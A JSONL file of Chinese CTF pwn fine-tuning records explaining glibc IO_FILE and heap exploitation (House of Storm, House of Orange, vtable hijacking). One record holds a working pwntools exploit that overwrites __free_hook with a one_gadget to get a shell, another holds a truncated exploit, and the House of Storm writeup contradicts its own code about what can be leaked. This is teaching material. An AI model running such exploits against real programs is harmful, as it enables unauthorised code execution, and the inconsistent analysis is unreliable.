{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-03a980f65b0cf8911278", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "根据 `IO-FILE/house of storm/2026ccb catchme` 目录下的 writeup 和 exploit 示例，蒸馏一条训练样本：总结题目、漏洞点、利用链、关键代码和验证状态。", "role": "user"}, {"content": "## 题目路径\n`IO-FILE/house of storm/2026ccb catchme`\n\n## Writeup 蒸馏\n## break\n\n### 题目分析\n\n#### 限制条件\n- **Edit次数**：仅3次，每次最多写0x18字节。\n- **Add类型**：\n  - `fox`: `malloc(0x430)` → chunk size = `0x441`（含标志位）\n  - `hawk`: `malloc(0x440)` → chunk size = `0x451`\n  - `otter`: `calloc(0x48)` → chunk size = `0x51`（且calloc会跳过tcache，直接走smallbin）\n- **Show**：仅一次，泄露 `chunk->tag`（即 `chunk + 0x8` 处的内容）。\n- **Delete**：存在UAF（只free，不置零指针）。\n- **Purge**：只置零指针，不free。\n- 最多同时持有5个堆块指针。\n\n#### 为什么是House of Storm\n- 没有足够空间（0x18）去伪造完整的`FILE`结构体或`_IO_`相关利用。\n- `calloc`绕过tcache，且chunk size固定（0x440、0x430、0x48），无法通过fastbin直接改`__malloc_hook`（2.34+已移除hook）。\n- 只能通过一次show泄露一个地址，但无法直接泄露libc基址（只能泄露堆地址的低12位和高8位，不足以完整泄露）。\n- **最终目标**：通过House of Storm在`__free_hook`附近伪造一个chunk，然后从unsorted bin中申请出来，获得任意地址写，进而劫持控制流。\n\n---\n\n### House of Storm 原理\n\n#### 核心机制\nHouse of Storm利用的是**large bin插入时**对`bk_nextsize`和`fd_nextsize`的赋值操作，配合**unsorted bin取出时**对`bk`指针的写操作，实现**向任意目标地址写入堆地址**，并在目标地址处构造一个合法的chunk头，随后从unsorted bin中申请出来。\n\n#### 关键源码片段\n- **unsorted bin取出时**：\n  ```c\n  unsorted_chunks(av)->bk = bck;\n  bck->fd = unsorted_chunks(av);\n  ```\n  若我们控制 `victim->bk = fake_chunk`，则执行 `fake_chunk->fd = unsorted_bin`。\n\n- **large bin插入时**（当unsorted chunk的size大于large bin中某个chunk时）：\n  ```c\n  victim->bk_nextsize = fwd->bk_nextsize;\n  fwd->bk_nextsize = victim;\n  victim->bk_nextsize->fd_nextsize = victim;\n  bck = fwd->bk;\n  ```\n  若控制 `fwd->bk_nextsize = fake_chunk - 0x18 - 5`，则能触发 `(fake_chunk - 0x18 - 5)->fd_nextsize = victim`，即向 `fake_chunk - 0x8` 处写入victim地址（堆地址）。\n  同时 `bck = fwd->bk` 由我们控制，最终执行 `bck->fd = victim`，即向 `fake_chunk + 0x8` 处写入victim地址。\n\n#### 布局要求\n- 需要一个**unsorted bin chunk**（U）和一个**large bin chunk**（L）。\n- 需要控制：\n  - `U->bk` → 指向 `fake_chunk`\n  - `L->bk` → `fake_chunk + 0x8`\n  - `L->bk_nextsize` → `fake_chunk - 0x18 - 5`\n\n这样执行后：\n- `fake_chunk + 0x8` 处写入 `U` 的地址（作为 `fd`）\n- `fake_chunk - 0x8` 处写入 `U` 的地址（作为 `size` 或 `prev_size` 的一部分）\n- 最终在 `fake_chunk` 处形成一个合法的chunk头部（size由U的地址低字节决定，需可控）。\n\n---\n\n### 解题思路\n\n#### 1. 布局堆块\n- 申请**3个fox**（0x430），**1个hawk**（0x440），**若干otter**（0x48）用于填充tcache/smallbin。\n- 释放两个fox，让它们进入unsorted bin（合并或独立），再释放hawk进入unsorted bin。\n- 利用UAF修改chunk的`bk`或`bk_nextsize`。\n\n#### 2. 泄露地址\n- 利用唯一一次show，泄露某个chunk的`tag`（即 `chunk + 0x8`），其中包含堆地址的低12位和高8位。\n- 由于`malloc`返回地址的低12位固定（对齐），可结合已知偏移推算出**堆基址**。\n- 但由于没有libc泄露，需要通过后续操作**暴力爆破**或利用`__free_hook`附近的已知偏移（如`__free_hook`相对`libc`的偏移已知，只需爆破低12位）。\n\n#### 3. 伪造House of Storm\n- 目标：在 `__free_hook - 0x18` 处伪造fake_chunk。\n- 利用3次edit：\n  - **edit(0)**：修改unsorted chunk的`bk`为 `fake_chunk`\n  - **edit(1)**：修改large chunk的`bk`为 `fake_chunk + 0x8`\n  - **edit(2)**：修改large chunk的`bk_nextsize`为 `fake_chunk - 0x18 - 5`\n\n#### 4. 触发Storm\n- 申请一个**大于unsorted chunk size**的chunk（如0x450），触发unsorted bin遍历，将unsorted chunk放入large bin。\n- 此时执行large bin插入逻辑，向`fake_chunk`附近写入堆地址，伪造好chunk头。\n- 随后再申请一个大小匹配fake_chunk的chunk（通常为0x430或0x440），即可从unsorted bin中申请到`fake_chunk`。\n\n#### 5. 任意地址写与劫持\n- 申请到`fake_chunk`后，其用户区起始于 `__free_hook - 0x10`（因为chunk头在 `__free_hook - 0x18`）。\n- 用edit（还剩一次，或者直接用申请的chunk写入）将 `__free_hook` 改为 `system` 或 `one_gadget`。\n- 释放一个包含 `/bin/sh` 的chunk，触发 `system(\"/bin/sh\")`。\n\n- exp\n\n```python\nfrom pwn import *\nio = process('./catchme')\ncontext.log_level = 'debug'\ncontext.terminal = ['tmux', 'splitw',  '-p', '100']\nlibc = ELF('libc-2.27.so')\nrt = lambda x: io.recvuntil(x)\ns  = lambda x: io.send(x)\nsl = lambda x: io.sendline(x)\npr = lambda x:success('\\x1b[01;38;5;214m'+hex(x)+'\\x1b[0m')\ndef cmd(choice):\n    rt(\">>\")\n    sl(str(choice))\n\ndef add(index):\n    cmd(1)\n    rt(\"(3)otter\")\n    s(str(index))\n\ndef delete(index):\n    cmd(2)\n    rt(\"index:\")\n    s(str(index))\n\ndef show(index):\n    cmd(3)\n    rt(\"index:\")\n    s(str(index))\n\ndef edit(index,content):\n    cmd(4)\n    rt(\"index:\")\n    s(str(index))\n    rt(\"set tag:\")\n    s(content)\n\ndef clear(index):\n    cmd(6)\n    rt(\"index:\")\n    sl(str(index))\n\n#我们一开始布局出现了失误，对于堆块合并忘了，后来又记起来了\ndef pwn1():\n    global lib\n    add(1)\n    add(1)\n    delete(0)\n    show(0)\n    rt(\"tag:\")\n    lib = u64(io.recv(6).ljust(8, b'\\x00'))-0x3ebca0\n    pr(lib)\n    delete(1)\n    clear(0)\n    clear(1)\ndef pwn2():\n    for i in range(7):\n        add(3)\n        delete(0)\n        clear(0)\n\n## Exploit 关键代码\n### IO-FILE/house of storm/2026ccb catchme/exp.py\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nrt = lambda x: io.recvuntil(x)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nic = lambda: io.close()\nl32 = lambda: u32(io.recvuntil(b'\\xf7')[-4:].ljust(4, b'\\x00'))\nl64 = lambda: u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nuu32 = lambda: u32(io.recv(4).ljust(4, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('./catchme')\nio = process([elf.path])\nlibc = ELF(\"libc-2.27.so\")\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\ncontext.terminal = ['cmd.exe', '/c', 'start', '\"\"', 'wt.exe', 'wsl', '-e', 'bash', '-lc']\n\ndef cmd(choice):\n    rt(\">>\")\n    sl(str(choice))\n\ndef add(index):\n    cmd(1)\n    rt(\"(3)otter\")\n    s(str(index))\n\ndef delete(index):\n    cmd(2)\n    rt(\"index:\")\n    s(str(index))\n\ndef show(index):\n    cmd(3)\n    rt(\"index:\")\n    s(str(index))\n\ndef edit(index,content):\n    cmd(4)\n    rt(\"index:\")\n    s(str(index))\n    rt(\"set tag:\")\n    s(content)\n\ndef clear(index):\n    cmd(6)\n    rt(\"index:\")\n    sl(str(index))\n\n#我们一开始布局出现了失误，对于堆块合并忘了，后来又记起来了\ndef pwn1():\n    global lib\n    add(1)\n    add(1)\n    delete(0)\n    show(0)\n    rt(\"tag:\")\n    lib = u64(io.recv(6).ljust(8, b'\\x00'))-0x3ebca0\n    pr(lib)\n    delete(1)\n    clear(0)\n    clear(1)\ndef pwn2():\n    for i in range(7):\n        add(3)\n        delete(0)\n        clear(0)\n\ndef pwn3():\n    add(2)#0\n    add(3)#1\n    add(1)#2\n    add(3)#3\n    delete(2)\n    delete(0)\n    clear(0)\n    #放入largebin\n    add(2)#0\n    #unsortedbin归位\n    delete(0)\n    fake_chunk = lib + libc.sym[\"__free_hook\"] - 0x18\n    edit(0,p64(fake_chunk))\n    edit(2, p64(fake_chunk + 8) + p64(0) + p64(fake_chunk - 0x18 - 5))\n    add(3)\n    ogg = lib + 0x4F302\n    edit(4, p64(ogg))\n    gdb.attach(io)\n    delete(4)\nif __name__ == \"__main__\":\n    pwn1()\n    pwn2()\n    pwn3()\n    io.interactive()\n```", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 34, "ctf_task_type": "pwn", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["io_file", "pwn"], "original_id": "chatml::train::pwn101_distilled_v1::train::pwn101-pair-9af37b02356f5dba", "original_line": 277, "original_split": "train", "record_family": "sft_chatml", "record_type": "sft", "source_dataset": "security_finetune_mixture_v1", "source_domain": "pwn", "source_family": "local_ctf_pwn", "source_file": "data/pwn101_distilled_v1/train.jsonl", "source_path": "IO-FILE/house of storm/2026ccb catchme", "source_record_id": "pwn101-pair-9af37b02356f5dba", "source_split": "train", "split": "train", "split_group_key": "27fe92c3f7d408b373676f22"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "IO-FILE/house of storm/2026ccb catchme", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-0747f10e331408a00c72", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「define _IO_vtable_offset(THIS) 0」。\n资料来源：IO-FILE/io-file exploit.md；主题：define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \\；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "# define _IO_vtable_offset(THIS) 0\n```\n\n在 vtable 难以被利用之后，利用的关注点从 vtable 转移到`_IO_FILE`结构内部的域中。前面介绍过`_IO_FILE`在使用标准 IO 库时会进行创建并负责维护一些相关信息，其中有一些域是表示调用诸如`fwrite`、`fread`等函数时写入地址或读取地址的，如果可以控制这些数据就可以实现任意地址写或任意地址读。", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["io_file", "pwn"], "original_id": "chatml::train::pwn101_distilled_v1::train::pwn101-doc-fd5e88dedb5e1f29", "original_line": 272, "original_split": "train", "record_family": "sft_chatml", "record_type": "sft", "source_dataset": "security_finetune_mixture_v1", "source_domain": "pwn", "source_family": "local_ctf_pwn", "source_file": "data/pwn101_distilled_v1/train.jsonl", "source_path": "IO-FILE/io-file exploit.md", "source_record_id": "pwn101-doc-fd5e88dedb5e1f29", "source_split": "train", "split": "train", "split_group_key": "0a84ffb3b211a4a743f3e9b1"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "IO-FILE/io-file exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-0be744c02c33a964e11a", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「vtable结构」。\n资料来源：IO-FILE/io-file exploit.md；主题：define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \\；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### vtable结构\n事实上`_IO_FILE`结构外包裹着另一种结构`_IO_FILE_plus`，其中包含了一个重要的指针 vtable 指向了一系列函数指针。\n\n在 libc2.23 版本下，32 位的 vtable 偏移为 0x94，64 位偏移为 0xd8\n\n```c\nstruct _IO_FILE_plus\n{\n    _IO_FILE    file;\n    IO_jump_t   *vtable;\n}\n```\n\n\"image-20251212224351154.png\"\n\n64位下偏移是 0xd8。\n\n[图片: image-20251212224509659.png]\n\n\nvtable结构\n\nvtable 是 IO_jump_t 类型的指针，IO_jump_t 中保存了一些函数指针，在后面我们会看到在一系列标准 IO 函数中会调用这些函数指针\n\n```c\nvoid * funcs[] = {\n   1 NULL, // \"extra word\"\n   2 NULL, // DUMMY\n   3 exit, // finish\n   4 NULL, // overflow\n   5 NULL, // underflow\n   6 NULL, // uflow\n   7 NULL, // pbackfail\n\n   8 NULL, // xsputn  #printf\n   9 NULL, // xsgetn\n   10 NULL, // seekoff\n   11 NULL, // seekpos\n   12 NULL, // setbuf\n   13 NULL, // sync\n   14 NULL, // doallocate\n   15 NULL, // read\n   16 NULL, // write\n   17 NULL, // seek\n   18 pwn,  // close\n   19 NULL, // stat\n   20 NULL, // showmanyc\n   21 NULL, // imbue\n};\n```\n\n查看vtable的结构，以 `__GI_` 为前缀的符号通常是 glibc 内部用于**绑定到实际实现函数**的别名，其真正的函数名是去掉`__GI_`的\n\n\"image-20251212224642898.png\"", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["io_file", "pwn"], "original_id": "chatml::train::pwn101_distilled_v1::train::pwn101-doc-51191a63aa4e1fd7", "original_line": 246, "original_split": "train", "record_family": "sft_chatml", "record_type": "sft", "source_dataset": "security_finetune_mixture_v1", "source_domain": "pwn", "source_family": "local_ctf_pwn", "source_file": "data/pwn101_distilled_v1/train.jsonl", "source_path": "IO-FILE/io-file exploit.md", "source_record_id": "pwn101-doc-51191a63aa4e1fd7", "source_split": "train", "split": "train", "split_group_key": "0a84ffb3b211a4a743f3e9b1"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "IO-FILE/io-file exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-13d1b3ee7b6a6395568b", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「[CISCN 2022 华东北]duck」。\n资料来源：IO-FILE/io-file exploit.md；主题：define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \\；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### [CISCN 2022 华东北]duck\n反编译：\n\n[图片: image-20251214231259824.png]\n\n`sub_15447`函数的作用是初始化缓冲区，并设定程序在多少时间后退出。\n\n[图片: image-20251214231358946.png]\n\n\n`sub_147a`：\n\n重命名函数为`edit`，修改指定 chunk 的内容。\n\n[图片: image-20251214232214033.png]\n\n\n`sub_13f3`：\n\n重命名函数为`show`函数，查看指定 chunk 的内容。\n\n[图片: image-20251214232116578.png]\n\n`sub_12d6`：\n\n重命名函数为`add`，分配一个 0x100 大小的 chunk，然后添加到heap_list\n\n[图片: image-20251214232019483.png]\n\n\n`sub_136c`：\n\n将函数重命名为`dele`，很明显这里存在一个 UAF 漏洞，不过限制 chunk 数量小于 20，并且 chunk 必须存在。\n\n[图片: image-20251214232304746.png]\n\n题目的 libc 版本是 2.34\n\n[图片: image-20251214232431111.png]\n\n\n这个版本对于 tcache和fastbin的攻击添加了 safe-linking 机制，而且 2.34 已经移除了 malloc/free hook。\n\n但是在针对新的保护机制人们也研究出了新的利用方法，比如通过泄露堆地址绕过 safe-linking，通过 IO-FILE 进行 getshell。\n\n我们劫持的对象是 `FILE` 结构体中的 `vtable` 指针所指向的 `_IO_jump_t` 的实例，将里面的函数地址替换成我们准备好的 one_gadget。\n\n选择一个 IO 函数，比如 `puts`，在 Glibc 源文件中找到其对应的定义，`vtable` 指针指向的是该结构体的实例。`stdout` 中的 `vtable` 指针指向的就是 `_IO_file_jumps`。\n\n+ exp\n\n```plain\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nic = lambda: io.close()\nl32 = lambda: u32(io.recvuntil(b'\\xf7')[-4:].ljust(4, b'\\x00'))\nl64 = lambda: u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nuu32 = lambda: u32(io.recv(4).ljust(4, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('pwn')\nio = process([elf.path])\nlibc = ELF('./libc.so.6')\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\ncontext.terminal = ['cmd.exe', '/c', 'start', '\"\"', 'wt.exe', 'wsl', '-e', 'bash', '-lc']\n\nmenu = 'Choice: '\n\ndef add():\n    io.sendlineafter(menu, '1')\n\ndef show(index):\n    io.sendlineafter(menu, '3')\n    io.sendlineafter('Idx:', str(index))\n\ndef dele(index):\n    io.sendlineafter(menu, '2')\n    io.sendlineafter('Idx:', str(index))\n\ndef edit(index, size, content):\n    sa(menu,b'4')\n    sa(b'Idx: ',index)\n    sa(b'Size: ',size)\n    sa(b'Content: ',content)", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 34, "ctf_task_type": "pwn", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["io_file", "pwn"], "original_id": "chatml::train::pwn101_distilled_v1::train::pwn101-doc-b716f5059b2eb6c9", "original_line": 262, "original_split": "train", "record_family": "sft_chatml", "record_type": "sft", "source_dataset": "security_finetune_mixture_v1", "source_domain": "pwn", "source_family": "local_ctf_pwn", "source_file": "data/pwn101_distilled_v1/train.jsonl", "source_path": "IO-FILE/io-file exploit.md", "source_record_id": "pwn101-doc-b716f5059b2eb6c9", "source_split": "train", "split": "train", "split_group_key": "0a84ffb3b211a4a743f3e9b1"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "IO-FILE/io-file exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-1523fedf4ff29088f8f2", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「House of Orange」。\n资料来源：IO-FILE/io-file exploit.md；主题：define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \\；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## House of Orange\n\n核心特点\n\n1. 漏洞必须在堆上，但题目中 **没有 free 函数或其他释放堆块的函数**。\n2. 一般利用堆漏洞需要 malloc 和 free 操作，而 House of Orange 的核心是通过漏洞实现 **free 的效果**。\n3. 当 top chunk 的尺寸不足以满足分配需求时，原来的 top chunk 会被释放并置入 unsorted bin，从而在没有 free 函数的情况下获取 unsorted bins。", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 34, "ctf_task_type": "pwn", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["io_file", "pwn"], "original_id": "chatml::train::pwn101_distilled_v1::train::pwn101-doc-960fc77c7923dc9b", "original_line": 256, "original_split": "train", "record_family": "sft_chatml", "record_type": "sft", "source_dataset": "security_finetune_mixture_v1", "source_domain": "pwn", "source_family": "local_ctf_pwn", "source_file": "data/pwn101_distilled_v1/train.jsonl", "source_path": "IO-FILE/io-file exploit.md", "source_record_id": "pwn101-doc-960fc77c7923dc9b", "source_split": "train", "split": "train", "split_group_key": "0a84ffb3b211a4a743f3e9b1"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "IO-FILE/io-file exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-1efd618ff788054d8a05", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「FILE 数据结构」。\n资料来源：IO-FILE/io-file exploit.md；主题：define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \\；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## FILE 数据结构\n```c\nstruct _IO_FILE {\n  int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */\n#define _IO_file_flags _flags\n\n  /* The following pointers correspond to the C++ streambuf protocol. */\n  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */\n  char* _IO_read_ptr;   /* Current read pointer */\n  char* _IO_read_end;   /* End of get area. */\n  char* _IO_read_base;  /* Start of putback+get area. */\n  char* _IO_write_base; /* Start of put area. */\n  char* _IO_write_ptr;  /* Current put pointer. */\n  char* _IO_write_end;  /* End of put area. */\n  char* _IO_buf_base;   /* Start of reserve area. */\n  char* _IO_buf_end;    /* End of reserve area. */\n  /* The following fields are used to support backing up and undo. */\n  char *_IO_save_base; /* Pointer to start of non-current get area. */\n  char *_IO_backup_base;  /* Pointer to first valid character of backup area */\n  char *_IO_save_end; /* Pointer to end of non-current get area. */\n\n  struct _IO_marker *_markers;\n\n  struct _IO_FILE *_chain;\n\n  int _fileno;\n#if 0\n  int _blksize;\n#else\n  int _flags2;\n#endif\n  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */\n\n#define __HAVE_COLUMN /* temporary */\n  /* 1+column number of pbase(); 0 is unknown. */\n  unsigned short _cur_column;\n  signed char _vtable_offset;\n  char _shortbuf[1];\n\n  /*  char* _save_gptr;  char* _save_egptr; */\n\n  _IO_lock_t *_lock;\n#ifdef _IO_USE_OLD_IO_FILE\n};\n```\n\n```c\nstruct _IO_FILE_plus\n{\n  FILE file;\n  const struct _IO_jump_t *vtable;\n};\n```\n\n结构体成员包括一个用于描述文件各个属性的结构体和一个用于描述文件操作行为的跳转表指针。其中，文件属性通过 IO_FILE 结构体描述：\n\nIO FILE 定义的各种主要结构关系如下图所示：\n\n[图片: Pasted image 20250428001806.png]\n\n\n`fileops.c`\n\n+ 各种文件结构采用单链表的形式连接起来，通过 `_IO_list_all` 访问。\n+ `vatble` 为函数指针结构体，存放着各种 IO 相关的函数的指针。\n+ 初始情况下 `_IO_FILE` 结构有 `_IO_2_1_stderr_` ，`_IO_2_1_stdout_`，`_IO_2_1_stdin_` 三个，通过 `_IO_list_all` 将这三个结构。\n\n```c", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["io_file", "pwn"], "original_id": "chatml::train::pwn101_distilled_v1::train::pwn101-doc-9acbf79da468504f", "original_line": 258, "original_split": "train", "record_family": "sft_chatml", "record_type": "sft", "source_dataset": "security_finetune_mixture_v1", "source_domain": "pwn", "source_family": "local_ctf_pwn", "source_file": "data/pwn101_distilled_v1/train.jsonl", "source_path": "IO-FILE/io-file exploit.md", "source_record_id": "pwn101-doc-9acbf79da468504f", "source_split": "train", "split": "train", "split_group_key": "0a84ffb3b211a4a743f3e9b1"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "IO-FILE/io-file exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-270db8010b8708b43f3a", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「堆扩展逻辑」。\n资料来源：IO-FILE/io-file exploit.md；主题：define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \\；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 堆扩展逻辑\n\n```c\nelse {\n    void *p = sysmalloc(nb, av);\n    if(p != NULL)\n        alloc_perturb(p, bytes);\n    return p;\n}\n```\n\n+ 当 ptmalloc 当前堆无法满足用户申请内存时，会调用 `sysmalloc` 向系统申请更多内存。\n+ 对于堆，有 `mmap` 和 `brk` 两种分配方式，House of Orange 利用 **brk** 方式扩展堆，然后将原 top chunk 放入 unsorted bin。\n+ 需要保证 malloc 尺寸 **小于 mmap_threshold**，否则会使用 mmap 系统调用。\n\n```c\nif ((unsigned long)(nb) >= (unsigned long)(mp_.mmap_threshold) && (mp_.n_mmaps < mp_.n_mmaps_max))\n    // 使用 mmap 申请\n```", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["io_file", "pwn"], "original_id": "chatml::validation::pwn101_distilled_v1::validation::pwn101-doc-4dd7ec88ecc24603", "original_line": 21, "original_split": "validation", "record_family": "sft_chatml", "record_type": "sft", "source_dataset": "security_finetune_mixture_v1", "source_domain": "pwn", "source_family": "local_ctf_pwn", "source_file": "data/pwn101_distilled_v1/validation.jsonl", "source_path": "IO-FILE/io-file exploit.md", "source_record_id": "pwn101-doc-4dd7ec88ecc24603", "source_split": "validation", "split": "train", "split_group_key": "0a84ffb3b211a4a743f3e9b1"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "IO-FILE/io-file exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-2ae3e0ad45160b981db4", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「printf/puts」。\n资料来源：IO-FILE/io-file exploit.md；主题：define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \\；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### printf/puts\nprintf 和 puts 是常用的输出函数，在 printf 的参数是以'\\n'结束的纯字符串时，printf 会被优化为 puts 函数并去除换行符。\n\nputs 在源码中实现的函数是_IO_puts，这个函数的操作与 fwrite 的流程大致相同，函数内部同样会调用 vtable 中的_IO_sputn，结果会执行_IO_new_file_xsputn，最后会调用到系统接口 write 函数。\n\nprintf 的调用栈回溯如下，同样是通过_IO_file_xsputn 实现\n\n```plain\nvfprintf+11\n_IO_file_xsputn\n_IO_file_overflow\nfunlockfile\n_IO_file_write\nwrite\n```", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["io_file", "pwn"], "original_id": "chatml::train::pwn101_distilled_v1::train::pwn101-doc-02a08f043242f4d2", "original_line": 240, "original_split": "train", "record_family": "sft_chatml", "record_type": "sft", "source_dataset": "security_finetune_mixture_v1", "source_domain": "pwn", "source_family": "local_ctf_pwn", "source_file": "data/pwn101_distilled_v1/train.jsonl", "source_path": "IO-FILE/io-file exploit.md", "source_record_id": "pwn101-doc-02a08f043242f4d2", "source_split": "train", "split": "train", "split_group_key": "0a84ffb3b211a4a743f3e9b1"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "IO-FILE/io-file exploit.md", "split": "train", "type": "ctf_lora_sft"}
